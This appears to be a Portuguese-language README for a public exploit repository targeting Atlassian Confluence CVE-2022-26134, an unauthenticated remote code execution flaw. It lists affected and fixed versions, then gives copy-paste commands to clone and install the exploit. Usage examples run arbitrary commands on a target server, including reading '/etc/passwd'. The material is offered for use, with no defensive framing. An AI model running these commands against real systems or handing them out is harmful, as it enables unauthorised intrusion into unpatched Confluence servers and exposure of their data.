nxtexploit/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - Execução remota de código (RCE) não autenticada
Confluence Server e Data Center - CVE-2022-26134 - Vulnerabilidade crítica de execução remota de código não autenticada
| Resumo | CVE-2022-26134 - Vulnerabilidade crítica de execução remota de código não autenticada no Confluence Server e Data Center |
|---|---|
| Produtos Afetados | Confluence Confluence Server Confluence Data Center |
| Versões Afetadas | Todas as versões suportadas do Confluence Server e Data Center são afetadas. As versões do Confluence Server e Data Center posteriores à 1.3.0 são afetadas. |
| Versões Corrigidas | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
Copie e cole no terminal:
git clone https://github.com/nxtexploit/CVE-2022-26134 ; cd CVE-2022-26134 ; pip install -r requirements.txt
python3 CVE-2022-26134.py https://target.com type-command-here
python3 CVE-2022-26134.py https://target.com "uname -a"
python3 CVE-2022-26134.py https://target.com "cat /etc/passwd"
python3 CVE-2022-26134.py https://target.com id
